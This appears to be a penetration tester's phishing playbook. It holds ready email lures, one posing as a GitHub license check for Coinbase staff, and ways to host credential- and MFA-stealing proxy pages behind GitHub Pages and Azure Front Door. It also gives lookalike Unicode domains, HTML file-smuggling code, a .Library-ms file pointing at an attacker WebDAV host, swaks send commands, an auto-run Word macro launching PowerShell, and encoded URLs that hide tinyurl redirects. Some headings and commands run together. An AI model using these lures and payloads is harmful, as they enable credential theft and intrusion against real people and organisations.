Using Trusted Services For Email Delivery
Bypassing Spam Filters
Spoofing a domain
Call to Actions
Dear Team,
Due to operational changes within {company}, we are updating our language to the {document} for {year}. In compliance with regulations on amended documents, we require your acknowledgement of receipt of these changes. **To complete your acknowledgement, please navigate to the last page of the attached PDF and click the link provided in the amended article.**
Thank you for your continued support in upholding this year's mission.
Sincerely,
As part of {company}'s annual review of software licensing and access management, employees need to verify that they require an active GitHub license.
Please confirm your continued need for GitHub access via the form below:
{AdobeSign/SmartSheet/Docusign link}
Please check the box confirming you have a GitHub account and will continue to need access to the Coinbase GitHub organization, then re-authenticate to the organization on the next screen.
This confirmation is required so we can retain licenses only for employees who actively need org access and avoid paying for unused seats. If you do not complete both steps, your GitHub organization access may be revoked.
[ ] Yes, I do require access to the Coinbase GitHub organization and require an Enterprise License.
{link to AITM site}
- Then, force them to sign-in with anything desired
## Phishing Pages
**Spoofing a site**
- Can use something like [open-lovable](https://github.com/firecrawl/open-lovable) to clone and recreate any web app as a React app
- Since this uses JS, this also has the added benefit of throwing off some phishing detection
- [SingleFile](https://chromewebstore.google.com/detail/singlefile/mpiodijhokgodhhofbcjdecpffjipkle?hl=en) is good for downloading pages to spoof
- Make sure preferences don't include JavaScript
- Strip out SingleFile comment (near top) along with anything with an "sf" prefix and links to the original site
- If we get hit with Azure/O365, try using [OAuthSeeker](https://github.com/praetorian-inc/oauthseeker/)
**Spoofing a domain**
- Usually, lookalikes are the best option here. Unfortunately, we can't combine different Unicode scripts, like Latin and Cyrillic
- However, extended Latin characters still count as Latin script, including:
- Latin Extended-A (U+0100–U+017F)
- Latin Extended-B (U+0180–U+024F)
- Latin Extended Additional (U+1E00–U+1EFF)
- Latin Extended-C through E
- The best test for these characters is to just paste a domain including them into Chrome/Firefox, and see if it corrects to punyscript
- For example, [https://nccgroưp.com/](https://nccgroưp.com/) doesn't autocorrect, so it could be a great candidate
- Some good resources:
- [Elfdalian Alphabet](https://en.wikipedia.org/wiki/Elfdalian_alphabet)
- [Vietnamese Alphabet](https://en.wikipedia.org/wiki/Vietnamese_alphabet)
- [List of Latin Alphabets](https://en.wikipedia.org/wiki/List_of_Latin-script_alphabets)
- To test Latin domain candidates, use my [Verisign Latin IDN Domain Checker](https://khaelkugler.com/random_vibecoded_projects/idn_checker.html)
- This will also suggest lookalike phishing names for any domain pasted, organized by a pretty subjective score
**Using Whitelisted Services for Hosting the AITM**
- The domain receiving the click can be SAAS-based, which then pulls in the AITM content
- These are services like Github pages (especially for device code phishing) or Google's `run.app`
- The service used to deliver the payload shouldn't actually be the one hosting the payload (and most of the time it can't)
- Github will automatically ban if it detect phishing content in a page, so most of the time using an iframe is the best method
- Then, domain fronting should then be used to mask the actual AITM IP (which is hosted using any VPS desired)
- This is the one actually listening for creds/MFA codes, hosting the payload, etc.
- Azure Front Door is a good example of this, where you can just add `<iframe src="https://{stuff}.z01.azurefd.net/{subdirectory}"></iframe>` inside of the static, boring github page
- These domains are hard to block because so many valid services use them
- AWS also has similar examples, like `cloudfront.net`
- `{stuff}` can be anything, so if desired you can choose to make it like `assets-{random_chars}` so it fits well in html:
```html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Authorize</title>
<style>
html, body { margin: 0; padding: 0; height: 100%; background: #f6f8fa; }
iframe { border: 0; width: 100%; height: 100%; }
</style>
</head>
<body>
<iframe src="https://{AITM-here}.z01.azurefd.net/static/app" title="Authorize"></iframe>
</body>
</html>
Github Device Code Phishing
Getting Someone to Install the Extension
Conversation Pretext
Containerized setup
File Smuggling - thanks to Print3M
// File: smuggler.js
function __downloadFile(byteArray, fileName, mimeType) {
let blob = new Blob([new Uint8Array(byteArray)], { type: mimeType })
let url = URL.createObjectURL(blob)
let a = document.createElement("a")
a.href = url
a.download = fileName
document.body.appendChild(a)
a.click()
document.body.removeChild(a)
URL.revokeObjectURL(url)
}
// This function is executed from React on "click" event
function downloadFile() {
// PUT YOUR BINARY DATA HERE!!!
const data = [72, 101, 108, 108, 111, 32, 87, 111, 114, 108, 100]
__downloadFile(data, "file.txt", "text/plain")
}
Avoiding MOTW
Sandbox Detection - thanks to Print3M
Recon
IT Helpdesk Techniques
.Library-ms file into executing .lnk filepip3 install wsgidav for a WebDAV server to host/serve fileswsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root {directory}<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<name>@windows.storage.dll,-34582</name>
<version>6</version>
<isLibraryPinned>true</isLibraryPinned>
<iconReference>imageres.dll,-1003</iconReference>
<templateInfo>
<folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
</templateInfo>
<searchConnectorDescriptionList>
<searchConnectorDescription>
<isDefaultSaveLocation>true</isDefaultSaveLocation>
<isSupported>false</isSupported>
<simpleLocation>
<url>http://{kali_IP}</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>
sudo swaks -t {to_email} -t {to_email} --from {from_email} --attach @config.Library-ms --server {mail_server} --body @body.txt --header "Subject: Staging Script" --suppress-data -apswaks:
swaks --server {IP_with_SMTP} --body @{body_txt_file} -ap --from {user@domain} --to {target@domain} --auth-user {user@domain} --auth-password {password} --attach @{file_to_attach} --header "{header_text}"Docx Word Macro
Sub AutoOpen()
MyMacro
End Sub
Sub Document_Open()
MyMacro
End Sub
Sub MyMacro()
CreateObject("Wscript.Shell").Run "powershell"
End Sub
Techniques
@ character to tell the browser that everything before the @ is simply authentication for the following page (an encoded tinyurl site) - I didn’t find an arbitrary redirect on github
@ technique after a domain AND path have been specified, so specify fake paths using a / Unicode lookalike: ∕ (effectively making the TLD in the domain very very long)/, so the entire tinyurl link is encoded& can actually be included without encoding in the authentication information (prior to the @), so I included bogus URL parameters from an amazon product link to make it look more realistic (hiding the URL encoded link within)Example
https:// - start of URLU+E0001 U+E0020 U+E007F - hidden Unicode characters to break link underlining functionality in Google meetsgithub.com - normal github domain∕praetorian-inc∕Cerebrum∕tree∕main∕Personal%20Spaces∕khael.kugler - realistic path using fake ∕ character&diff=%75%6E%69%66%69%65%64&uuid=259d9f6c-ea4f-492b-a741-8ca016e53a70&ref=main_1598392 - fake URL parameters used to hide the actual payload@%74%69%6E%79%75%72%6C%2E%63%6F%6D/%33%39%74%7A%72%6A%79%6A - payload decoding to tinyurl.com/39tzrjyj, starting with @#&whitespace=ignore&inline=false&workflow=ci-deploy-container-ghcr-ref-main - more fake parameters, starting with a # to not confuse tinyurl’s redirection
Final payload: https://github.com∕praetorian-inc∕Cerebrum∕tree∕main∕Personal%20Spaces∕khael.kugler&diff=%75%6E%69%66%69%65%64&uuid=259d9f6c-ea4f-492b-a741-8ca016e53a70&ref=main_1598392@%74%69%6E%79%75%72%6C%2E%63%6F%6D/%33%39%74%7A%72%6A%79%6A#&whitespace=ignore&inline=false&workflow=ci-deploy-container-ghcr-ref-main
Other example payloads:
https://github.com∕praetorian-inc∕noseyparker∕releases∕download∕v0.23.0∕secret-noseyparker-v0.23.0-aarch64-apple-darwin.tar.gz&conplccinc=259d9f6c-ea4f-492b-a741-8ca016e53a70ts=abthh8sjiwjcbgqcpkynoq55p8khgag&dasin=B07774L6@%74%69%6E%79%75%72%6C%2E%63%6F%6D/%79%63%38%78%61%66%74%32/&96298722-d186-4e28-b5e9-2ca14f49d977=1
https://www.amazon.com∕gp∕product∕B008A0GNA8pr=conplccinc=259d9f6c-ea4f-492b-a741-8ca016e53a70ts=abthh8sjiwjcbgqcpkynoq55p8khgag&dasin=B07774L6TT&plattr=mathplace=priceblockimp@%74%69%6E%79%75%72%6C%2E%63%6F%6D/%79%63%38%78%61%66%74%32?=96298722-d186-4e28-b5e9-2ca14f49d977